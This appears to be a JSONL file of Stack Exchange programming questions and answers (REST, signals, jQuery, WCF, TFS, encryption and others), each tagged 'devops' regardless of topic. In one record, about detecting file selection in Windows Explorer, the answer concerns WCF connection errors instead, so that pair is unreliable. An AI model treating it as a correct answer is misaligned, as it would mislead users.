{"id": "hf_1c90336f2a4e", "question": "<p>Ok so I've implemented both REST and SOAP services and I like both depending on the context. For me, WS* is great when I want an explicit contract between the server and the client e.g. for sensitive information or for mission critical stuff. REST on the other hand whilst flexible in terms of the schema definition, is in my mind more ideal for content services or data which is not required to undergo any serious business logic.</p>\n\n<p>REST seems to be very much the flavour of the day, and I was somewhat put out when Martin Fowler et al from Thoughworks gave this podcast: <a href=\"http://www.thoughtworks.com/what-we-say/podcasts.html\" rel=\"nofollow noreferrer\">http://www.thoughtworks.com/what-we-say/podcasts.html</a> on REST and were derisive toward WS*. Whilst the man himself is well respected, am I right in thinking that there still is very much a place for SOAP and pinch of salt is required here? And has anyone used REST in a serious business application? </p>\n", "question_body": "", "answer": "Can you document your REST api by providing someone a description of the media types you use and a single URL?\nIf you find yourself providing a list of URLs and what verbs can be used on those URLs then you probably don't have a\nREST api\n.\nOnce you have created a true REST api then go back and compare it to WS* api.  You will see they are very different.\nREST apis can easily handle \"serious business logic\" and yes I have used REST in a serious business application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.037708"}
{"id": "hf_913b43fc33ee", "question": "<p>I was about to add an extra signal handler to an app we have here and I noticed that the author had used <code>sigaction()</code> to set up the other signal handlers. I was going to use <code>signal()</code>. To follow convention I should use <code>sigaction()</code> but if I was writing from scratch, which should I choose?</p>\n", "question_body": "", "answer": "I'd use signal() since it's more portable, in theory at least.  I'll vote up any commenter who can come up with a modern system that doesn't have a POSIX compatibility layer and supports signal().\nQuoting from the\nGLIBC documentation\n:\nIt's possible to use both the signal and sigaction functions within\n  a single program, but you have to be careful because they can\n  interact in slightly strange ways.\nThe sigaction function specifies more information than the signal\n  function, so the return value from signal cannot express the full\n  range of sigaction possibilities. Therefore, if you use signal to\n  save and later reestablish an action, it may not be able to\n  reestablish properly a handler that was established with sigaction.\nTo avoid having problems as a result, always use sigaction to save\n  and restore a handler if your program uses sigaction at all. Since\n  sigaction is more general, it can properly save and reestablish any\n  action, regardless of whether it was established originally with\n  signal or sigaction.\nOn some systems if you establish an action with signal and then\n  examine it with sigaction, the handler address that you get may not\n  be the same as what you specified with signal. It may not even be\n  suitable for use as an action argument with signal. But you can rely\n  on using it as an argument to sigaction. This problem never happens\n  on the GNU system.\nSo, you're better off using one or the other of the mechanisms\n  consistently within a single program.\nPortability Note: The basic signal function is a feature of ISO C,\n  while sigaction is part of the POSIX.1 standard. If you are\n  concerned about portability to non-POSIX systems, then you should\n  use the signal function instead.\nCopyright (C) 1996-2008 Free Software Foundation, Inc.\nPermission is granted to copy, distribute and/or modify this\n    document under the terms of the GNU Free Documentation License,\n    Version 1.2 or any later version published by the Free Software\n    Foundation; with no Invariant Sections, with no Front-Cover Texts,\n    and with no Back-Cover Texts. A copy of the license is included in\n    the section entitled \"GNU Free Documentation License\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.133398"}
{"id": "hf_373fa73b4a1c", "question": "<p>I am trying to show and hide an inline element (eg a span) using jQuery.</p>\n\n<p>If I just use toggle(), it works as expected but if I use toggle(\"slow\") to give it an animation, it turns the span into a block element and therefore inserts breaks.</p>\n\n<p>Is animation possible with inline elements?  I would prefer a smooth sliding if possible, rather than a fade in.</p>\n\n<pre><code>&lt;script type=\"text/javascript\"&gt;\n    $(function(){\n        $('.toggle').click(function() { $('.hide').toggle(\"slow\") });\n    });\n&lt;/script&gt;\n&lt;p&gt;Hello &lt;span class=\"hide\"&gt;there&lt;/span&gt; jquery&lt;/p&gt;\n&lt;button class=\"toggle\"&gt;Toggle&lt;/button&gt;\n</code></pre>\n", "question_body": "", "answer": "I don't think it is possible like that. The only way I could think to do it would be to animate its opacity between 0 and 1, and, using a callback on the animation, then turn it on or off.\n```\n```\n$('.toggle').click(function() {\n    $('.hide:visible').animate(\n        {opacity : 0},\n        function() { $(this).hide(); }\n    );\n    $('.hide:hidden')\n        .show()\n        .animate({opacity : 1})\n    ;\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.193159"}
{"id": "hf_0cd69cd5faee", "question": "<p>I have a project that is based on the Navigation Based Application template.\nIn the AppDelegate are the methods <code>-applicationDidFinishLoading:</code> and <code>-applicationWillTerminate:</code>.  In those methods, I am loading and saving the application data, and storing it in an instance variable (it is actually an object-graph).</p>\n\n<p>When the application loads, it loads MainWindow.xib, which has a NavigationConroller, which in turn has a RootViewController.  The RootViewController <code>nibName</code> property points to RootView (my actual controller class).</p>\n\n<p>In my class, I wish to refer to the object that I created in the <code>-applicationDidFinishLoading:</code> method, so that I can get a reference to it.</p>\n\n<p>Can anyone tell me how to do that?  I know how to reference between objects that I have created programmatically, but I can't seem to figure out to thread my way back, given that the middle step was done from within the NIB file.</p>\n", "question_body": "", "answer": "If I understand your question, you want to reference member variables/properties in your AppDelegate object? The simplest way is to use [[UIApplication sharedApplication] delegate] to return a reference to your object.\nIf you've got a property called window, you could do this:\n```\n```\nUIWindow   *mainWindow = [[[UIApplication sharedApplication] delegate] window];\n//do something with mainWindow\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.215422"}
{"id": "hf_4f29b65c02d4", "question": "<p>How to capture user clicks in a winform application without making the code very complicated?  is AOP the answer?  How to track instrumentations?</p>\n", "question_body": "", "answer": "The general method for capturing clicks in winforms is handling\nControl.MouseClick\n. You can also look at\nControl.MouseDown\nand\nControl.MouseUp\nif you want more detailed information.\nIf you provide more details about what you're trying to do, we can probably come up with a more targeted answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.238695"}
{"id": "hf_831e1d8ec854", "question": "<p>For the moment the best way that I have found to be able to manipulate DOM from a string that contain HTML is:</p>\n\n<pre><code>WebBrowser webControl = new WebBrowser();\nwebControl.DocumentText = html;\nHtmlDocument doc = webControl.Document;\n</code></pre>\n\n<p>There are two problems:</p>\n\n<ol>\n<li>Requires the <code>WebBrowser</code> object! </li>\n<li>This can't be used with multiple threads; I need something that would work on different thread (other than the main thread).</li>\n</ol>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Depending on what you are trying to do (maybe you can give us more details?) and depending on whether or not the HTML is well-formed, you\ncould\nconvert this to an\n```\nXmlDocument\n```\n:\n```\n```\nSystem.Xml.XmlDocument x = new System.Xml.XmlDocument();\nx.LoadXml(html); // as long as html is well-formed, i.e. XHTML\n```\n```\nThen you could manipulate it easily, without the\n```\nWebBrowser\n```\ninstance. As for threads, I don't know enough about the implementation of\n```\nXmlDocument\n```\nto know the answer to that part.\nIf the document isn't in proper form, you could use\nNTidy\n(.NET wrapper for\nHTML Tidy\n) to get it in shape first; I had to do this very thing for a project once and it really wasn't too bad.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.275648"}
{"id": "hf_6d523a725e38", "question": "<p>I am working on a project that I need to use the Infragistics WebGrid control for some lists of data. I am loading the data on the client-side using JavaScript for display on a Map, and then I need to display that same data within multiple WebGrids. All the data available will be displayed in the WebGrids, but only a subset of the data (only that which is currently within view) will be plotted on the Map at any given time. Since I am loading the data using JavaScript/Ajax, I would like to only load it once, and use the same mechanism to populate the WebGrid control with data too.</p>\n\n<p>Does anyone have any tips/pointers on working with the WebGrid completely from within client-side JavaScript/Ajax code?</p>\n", "question_body": "", "answer": "The only thought that comes to mind is performance-related. We found that dynamically creating and populating rows for an UltraWebGrid was appreciably slower than we would have liked.  (In our case we were moving rows from one grid to another and hit performance issues when the number of rows was too great.)\nIf I was doing something like you describe today, I would populate the grid from the server side if at all possible, and the display the relevant values on the Map from there.\nAs an added disclaimer, we used Infragistics 2007.1; I do not know if 2008.x is better in this area.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.313544"}
{"id": "hf_02714bb4d627", "question": "<p>Sam Ruby, author of \"RESTful Web Services\" seems to come out against the use of HTTP PUT for partial updates: <a href=\"http://intertwingly.net/blog/2008/02/15/Embrace-Extend-then-Innovate\" rel=\"noreferrer\">http://intertwingly.net/blog/2008/02/15/Embrace-Extend-then-Innovate</a></p>\n\n<p>What isn't clear is how partial updates <em>should</em> take place. As I commented near the bottom of his blog, it isn't clear how using HTTP PATCH is any better than using a \"patch document\" against HTTP PUT.</p>\n\n<p>It is worth noting that although Sam comes out against misusing HTTP PUT he doesn't seem to advocate the use of HTTP PATCH either.</p>\n\n<p>How should one submit RESTful partial updates?</p>\n", "question_body": "", "answer": "As you can see from the comments in the blog post you referenced there is no agreed upon way to do partial updates.  If heavyweights like Sam Ruby, Joe Gregario, Mark Nottingham, Mark Pilgrim, Bill de hÓra, etc cannot come to an agreement, what hope do we have.\nAs far as I am concerned, I wouldn't worry too much.  Create a partial update media type that works for you, use PATCH to indicate your intent and when agreement is finally reached on a general purpose media type, change your server to accept both formats.\nBe thankful that if the worst sin your REST api commits is abusing PUT/PATCH then you are doing pretty well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.349948"}
{"id": "hf_d2a5b9ad4fa8", "question": "<p>I'm writing javascript code that is read in as a string and executed via eval() by a firefox extension. Firebug does \"see\" my script so I am not able to use breakpoints, see objects, etc. </p>\n\n<p>I am currently using Firefox's error console which I'm starting to find limiting. What are my other options? Ideally, I would be able to use Firebug or something similar to it. How do people generally debug Greasemonkey scripts?</p>\n\n<p>I've tried using Lint and other validators, but my script uses a lot of objects and functions provided by the extension environment, making of a lot of the errors reported irrelevant. Also, the output tends to be too nitpicky (focusing of spacing issues, etc). </p>\n", "question_body": "", "answer": "As far as I know, Firebug supports\n```\neval()\n```\ndebugging since 1.1, specifically for GreaseMonkey, you can use\nGM_log\nfor basic logging, you might find useful this tools also:\nWeb Developer Extension\nJSUnit\nJSLint", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.385978"}
{"id": "hf_95cc3d633638", "question": "<p>In C and C++ a variable can be marked as <a href=\"http://en.wikipedia.org/wiki/Volatile_variable\" rel=\"noreferrer\"><strong>volatile</strong></a>, which means the compiler will not optimize it because it may be modified external to the declaring object.  Is there an equivalent in Delphi programming?  If not a keyword, maybe a work around?</p>\n\n<p>My thought was to use <strong>Absolute</strong>, but I wasn't sure, and that may introduce other side effects.</p>\n", "question_body": "", "answer": "I don't know of any equivalent, nor do I think that the\nabsolute\ndirective will help you.\nabsolute\nallows you to have two variables that use the same address, but I do not think it will prevent the compiler from optimising references to that memory.\nI imagine you could use a pointer and manage it yourself. That way whatever the compiler does as far as optimising retrival of the pointer value, it should not assume the value stored at the address is the same as last time it read it, but this is pure speculation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.435227"}
{"id": "hf_a2c4811c78a0", "question": "<p>Is there a way to know which file is being selected in windows explorer? I've been looking at the tutorial posted here <a href=\"https://stackoverflow.com/questions/140312/tutorial-for-windows-shell-extensions\">Idiots guide to ...</a> but the actions described are:</p>\n\n<p>hover</p>\n\n<p>context </p>\n\n<p>menu properties </p>\n\n<p>drag</p>\n\n<p>drag and drop</p>\n\n<p>I wonder if is there a method that get invoked when a file is selected. For instance to create a thumbnail view of the file. </p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I could be way off, but it might be a security thing... I've gotten that error before, and I solved it... but I was up for days trying to get a lot of different bugs worked out.\nI have a sample article doing something basic, but I'm using net.tcp (with security set to \"None\") here:\nDuplex WCF Services Hosted in IIS Using Net.Tcp\nAlso, where are you getting the error... is it on the \".Close()\" line, or the \".GetTasks().ToString()\" line?\nAnother thing you can check is to simply telnet to localhost on port 9999 to see if the service is listening for incomming connections altogether.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.475813"}
{"id": "hf_432a972dd2fc", "question": "<p>My workplace is planning on moving to Team Foundation Server and it's not a moment too soon - anything to get away from the cancer that is Visual SourceSafe.</p>\n\n<p>However, I must ask - is the source control in TFS significantly different (and better) than VSS or is it just a \"beefed up\" version of the same thing? </p>\n\n<p>I ask this now since this is probably my last window to suggest something like Subversion.</p>\n", "question_body": "", "answer": "TFS source control is backended with SQLServer.  I've used CVS and SVN in the past and TFS source control provides me with everything I need.  Note that I don't do a lot of branching, mainly straight-line development with tags for releases.   I have used it with multiple developers and I like the merge features -- side-by-side GUI allowing me to choose which version of conflicts to apply.  I haven't run into any insoluble problems yet.  I'm happy enough that I'm not looking for anything else.  I much prefer it over VSS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.499909"}
{"id": "hf_1c3dcfa1bb01", "question": "<p>I’m listening to the Hanselminutes Podcast; \"StackOverflow uses ASP.NET MVC - Jeff Atwood and his technical team\". During the course of the Podcast they are speaking about SQL server and say something along the lines of 'The days of the Stored Procedure are over'. </p>\n\n<p>Now I'm not a DBA but this has taken me a bit by surprise. I always assumed that SPs were the way to go for speed (as they are complied) and security not to mention scalability and maintainability. If this is not the case and SPs are on their last legs, what will replace them or what should we be doing in the future?</p>\n", "question_body": "", "answer": "On modern systems, parameterized queries are compiled and cached at the server, so they're just as fast as a stored procedure. They have most of the same security features as well.\nFor databases that serve a single application, it makes more sense to have the query logic there at the relevant location in the code.  If nothing else it makes it easier to do source control.  If you keep stored procedures on the server keeping track of them can quickly become a mess.  Additionally, if you're using an ORM tool you may not have much in the way of real SQL anyway.\nIf your database serves several different applications, then you may still want to use stored procedures to enforce business rules between application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.534214"}
{"id": "hf_d296255863ff", "question": "<p>I have a bunch of C files that are generated by a collection of python programs that have a number of shared python modules and I need to account for this in my make system.</p>\n\n<p>It is easy enough to enumerate which python program need to be run to generate each C file. What I can't find a good solution for is determining which other python files those programs depend on. I need this so make will know what needs regenerating if one of the shared python files changes.</p>\n\n<p>Is there a good system for producing make style dependency rules from a collection of python sources?</p>\n", "question_body": "", "answer": "The\n```\nimport\n```\nstatements are pretty much all the dependencies there are.  There are are two relevant forms for the import statements:\n```\n```\nimport x, y, z\nfrom x import a, b, c\n```\n```\nYou'll also need the\n```\nPYTHONPATH\n```\nand\n```\nsites\n```\ninformation that is used to build\n```\nsys.path\n```\n.  This shows the physical locations of the modules and packages.\nThat's kind of painful to process, since you have to do the transitive closure of all imports in all modules you import.\nAs an alternative approach, you can use the\n```\n-v\n```\noption to get the complete list of imports and physical files.  This produces a log that you can edit into a flat list of dependencies.\nFor instance, when I do\n```\n```\n>>> import math\n```\n```\nI see this in the log\n```\n```\ndlopen(\"/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/lib-dynload/math.so\", 2);\nimport math # dynamically loaded from /Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/lib-dynload/math.so\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.581144"}
{"id": "hf_36a12db4b6dd", "question": "<p>I'm trying to get a file with ant, using the get property. I'm running apache 2, and I can get the file from the indicated URL using wget and firefox, but ant gives me the following error:</p>\n\n<pre><code>[get] Error opening connection java.io.IOException:\n Server returned HTTP response code: 503 for URL: http://localhost/jars/jai_core.jar\n</code></pre>\n\n<p>This is what I'm doing in my build.xml:</p>\n\n<pre><code>&lt;get src=\"http://localhost/jars/jai_core.jar\"\n     dest=\"${build.dir}/lib/jai_core.jar\"\n     usetimestamp=\"true\"/&gt;\n</code></pre>\n\n<p>Any idea what could be going wrong?</p>\n\n<p><strong>EDIT:</strong> On to something. When I provide the full host name of my box instead of localhost, it works.</p>\n", "question_body": "", "answer": "503 is\nService Unavailable\n, which probably means that the\n```\nsrc\n```\nURL isn't getting interpreted properly and sent by the ANT task or perhaps the JRE.\nHere are some things to try:\nAs always, with ANT, execute the smallest possible build.xml with\n-verbose\nto see if that gives any more information,\n-debug\nfor even more information.\nTry the\n```\nverbose=\"true\"\n```\nattribute on the task.\nuse \"\nhttp://127.0.0.1/jars/jai_core.jar\n\" - depending on what version of the java runtime ANT is executing under, 'localhost' may not be getting resolved correctly.\nDrop the\n```\nusetimestamp\n```\nattribute just to see if it changes behavior.\nUse another Java based application to try to perform the GET and compare results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.604440"}
{"id": "hf_0bf83e4e0540", "question": "<p>I was planning to implememt owner-drawn of CListCtrl. I thought that drawing an item is after the item is inserted into the control. So my method is declare a class which is derived from CListCtrl and override its DrawItem() method. The problem is DrawItem is never invoked after inserting an item. Is there anything wrong with my method?</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "You need to set the LBS_OWNERDRAWFIXED style on the control. You can do that in the resource template or programmatically using the ModifyStyle() function.\nexample:\n```\n```\nm_myListbox.ModifyStyle(0, LBS_OWNERDRAWFIXED, 0);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.698017"}
{"id": "hf_3a202ffdc9e2", "question": "<p>I would guess most people on this site are familiar with tail, if not - it provides a \"follow\" mode that as text is appended to the file tail will dump those characters out to the terminal.</p>\n\n<p>What I am looking for (and possibly to write myself if necessary) is a version of tail that works on binary files. Basically I have a wireless link that I would like to trickle a file across as it comes down from another network link. Looking over the tail source code it wouldn't be too hard to rewrite, but I would rather not reinvent the wheel! This wouldn't strictly be \"tail\" as I would like the entire file to be copied, but it would watch as new bytes were added and stream those.</p>\n\n<p>Ideas?</p>\n", "question_body": "", "answer": "Pipe it to hexdump:\n```\n```\ntail -f somefile | hexdump -C\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.728308"}
{"id": "hf_41951f79c35f", "question": "<p>I plan on using MySQL and it's built-in encryption functionality to encrypt / decrypt certain columns in certain tables.  The concern I have is that I need to store the key somewhere.  I could certainly store the key in a file and control the permissions of that file and the permissions of the application that accesses it, but is that enough?  I could also create a web service to get the key or something.</p>\n\n<p>I am in a small shop where I would be the only one (possibly one other person) that would have access to the machine that the application was on.  <strong>Edit:  I should add that there is a web facing part of this application that would need to decrypt the data unless I added a tier.</strong> </p>\n\n<p>I have looked ad nauseum, but no one seems to have a bulletproof answer.</p>\n\n<p>Is this one of those problems where you have to settle for good enough?  Given that I am using MySQL and PHP (possibly Python) is there a better way to approach this?</p>\n", "question_body": "", "answer": "It seems that you are considering the use of a 'column-specific' key to use with 'AES_ENCRYPT' and 'AES_DECRYPT'.  As the commenter said, this is a bad idea, because any intrusion will have access to all the data.\nIf you use a 'user-supplied' password, with/without a salt, you are being much more secure.\nThat said, if the encryption key is only readable by the application using it, you are probably 'good enough'.  If the machine is broken into, they're going to get your data faster with a single key though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.764319"}
{"id": "hf_0a5a142beff8", "question": "<p>Who has their email fully encrypted ?</p>\n\n<p>I would like to encrypt my email but I am not sure how to start. If I use encrypted email and I send an email to someone who does not encrypt his email how can the receiver read the email ?</p>\n\n<p>What email client would you recommend to run on a windows systems for encrypted email ? I am using Thunderbird at the moment.</p>\n\n<p>As I understand you have to generate 2 keys (one public and one private) but how do you generate this key?  I also think that you have to put your key somewhere to download but I don't understand how you can trust the downloaded keys.</p>\n\n<p>Any links to a good (not too complicated) guide about the working an implementing of email encryption would be very much appreciated.</p>\n\n<p>kind regards\nwim hendrix\nanatak</p>\n", "question_body": "", "answer": "Thunderbird with Enigmail is a great free solution for what you’d like to do. I use Outlook and PGP, but I think they’re approximately the same.\nFor a detailed explanation of\npublic/private key encryption\ncheck out the wiki page, but I’ll try to sum up here.\nTo encrypt a message so that nobody else but the receiver (bob) can view it you encrypt the message using Bob’s public key. The public key allows you to encrypt but not to decrypt. Without a public key you cannot encrypt a message, so there is no worry about encrypting a message that nobody can decrypt.\nWhen Bob receives your message he will use his private key to decrypt the message. He keeps this private key very secret so that nobody else can decrypt his mail.\nTo send an encrypted message back Bob will use _your public key (which you have sent him before) to encrypt a message. Then he will send it to you and you can decrypt it using your private key.\nThat said the solution that I use for my mail is to use opportunistic encryption, so if I have the public key of any recipient of my mail message it gets automatically encrypted, if I do not, it doesn’t. This doesn’t protect me from accidentally sending out a secret message to a person that I don’t have a public key for however. For that I have to be very careful to always verify I have all the keys I need to have for secret messages.\nIn order to do this I have an e-mail rule setup that says that if I have the word [PGP] in the subject line it will not allow the message to be sent unencrypted. If I try to it will throw an error and warn me of my mistake.\nThe\nenigmail\nsite has a good description on how to setup thunderbird to encrypt your messages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.788249"}
{"id": "hf_938c527120ab", "question": "<p>What's the best way to return a random line in a text file using C? It has to use the standard I/O library (<code>&lt;stdio.h&gt;</code>) because it's for Nintendo DS homebrew.</p>\n\n<p><strong>Clarifications:</strong></p>\n\n<ul>\n<li>Using a header in the file to store the number of lines won't work for what I want to do.</li>\n<li>I want it to be as random as possible (the best being if each line has an equal probability of being chosen as every other line.)</li>\n<li>The file will never change while the program is being run. (It's the DS, so no multi-tasking.)</li>\n</ul>\n", "question_body": "", "answer": "This method is good because:\ni) You can keep generating random lines at no big cost\nii) You only have to read the file a total of 1 time + 1 line at a time per random line you want.  The excess read data is only equal to the size of the file.\niii) It gives each line a fair chance no matter what its position is in the file.\niv) It gives each line a fair chance no matter what its length is in the file.\nThe suggestion:\nI would suggest a 2 pass algorithm.  Well really it's a 1 pass + N lines.  Where N is the number of random lines you want.\nThe first pass you would use to calculate how many lines and the start positions of each line.\nYou then take a random number from 0 to the number of lines minus 1.  Use that random number, which is your line index, get the start position for that line index.  Seek to that position.\nYou then have only 1 more read needed, and you know the exact size.  (until the start index of the next line)\nHow to store the number of lines and the index of each line:\nTo store the number of lines, you can obviously just use an int.\nIf you can use a vector then you can add each line index into the vector.  If not you can just create an array of ints with the max number of lines you think there will be. Then index into that array.\nOther answers:\nAnother answer mentioned that you can pick a random number from 1 to the size of the file, and then use the closest newline.  But this won't work.  For example you might have 1 line that is really long and the others that are not that long.  In that case you would have an uneven distribution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.811169"}
{"id": "hf_2f3c0d1bb23c", "question": "<p>I have an undefined number of display context and each will display a texture. When I call glGenTextures I get the same name returned across all display contexts. Will this work? Even though they have the same name will they still store and display different textures? If not what should do to get around this? </p>\n", "question_body": "", "answer": "Textures are not (by default) shared across contexts - you have to explicitly enable this, but how you do so is platform-specific.\nOn win32, it's\n```\nwglShareLists\n```\n, and on most other platforms it's specified when you create the context (eg. with the\n```\nshare\n```\nparameter to\n```\naglCreateContext\n```\non OS-X).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.871026"}
{"id": "hf_57b34e68b170", "question": "<p>When I browse code in Vim, I need to see opening and closing parenthesis/\nbrackets, and pressing <kbd>%</kbd> seems unproductive.</p>\n\n<p>I tried <code>:set showmatch</code>, but it makes the cursor jump back and forth\nwhen you type in a bracket. But what to do if I am browsing already written code?</p>\n", "question_body": "", "answer": "```\nset showmatch\n```\nis your best bet.  you can also use the\n%\ncommand to jump between matching parenthesis, braces, brackets, quotes, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.894970"}
{"id": "hf_a897fe376432", "question": "<p>I'm tinkering with Silverlight 2.0.</p>\n\n<p>I have some images, which I currently have a static URL for the image source.\nIs there a way to dynamically load the image from a URL path for the site that is hosting the control?</p>\n\n<p>Alternatively, a configuration setting, stored in a single place, that holds the base path for the URL, so that each image only holds the filename?</p>\n", "question_body": "", "answer": "In the code behind or a value converter you can do\n```\n```\nUri uri = new Uri(\"http://testsvr.com/hello.jpg\");\n  YourImage.Source = new BitmapImage(uri);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.931322"}
{"id": "hf_f2b0cca68bae", "question": "<p>I have a core .NET application that needs to spawn an arbitrary number of subprocesses. These processes need to be able to access some form of state object in the core application.</p>\n<p>What is the best technique? I'll be moving a large amount of data between processes (Bitmaps), so it needs to be fast.</p>\n", "question_body": "", "answer": "I have similar requirements and am using\nWindows Communication Foundation\nto do that right now. My data sizes are probably a bit smaller though.\nFor reference I'm doing about 30-60 requests of about 5 KB-30 KB per second on a quad-core machine.\nWCF\nhas been holding up quite well so far.\nWith WCF you have the added advantages of choosing a transport protocol and security mode that is suitable for your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.967589"}
{"id": "hf_e147f7102640", "question": "<p>How long should it take to run </p>\n\n<pre><code>ALTER DATABASE [MySite] SET READ_COMMITTED_SNAPSHOT ON\n</code></pre>\n\n<p>I just ran it and it's taken 10 minutes.</p>\n\n<p>How can I check if it is applied?</p>\n", "question_body": "", "answer": "You can check the status of the READ_COMMITTED_SNAPSHOT setting using the\n```\nsys.databases\n```\nview.  Check the value of the\n```\nis_read_committed_snapshot_on\n```\ncolumn.  Already\nasked and answered\n.\nAs for the duration, Books Online states that there can't be any other connections to the database when this takes place, but it doesn't require single-user mode.  So you may be blocked by other active connections.  Run\n```\nsp_who\n```\n(or\n```\nsp_who2\n```\n) to see what else is connected to that database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:00.992789"}
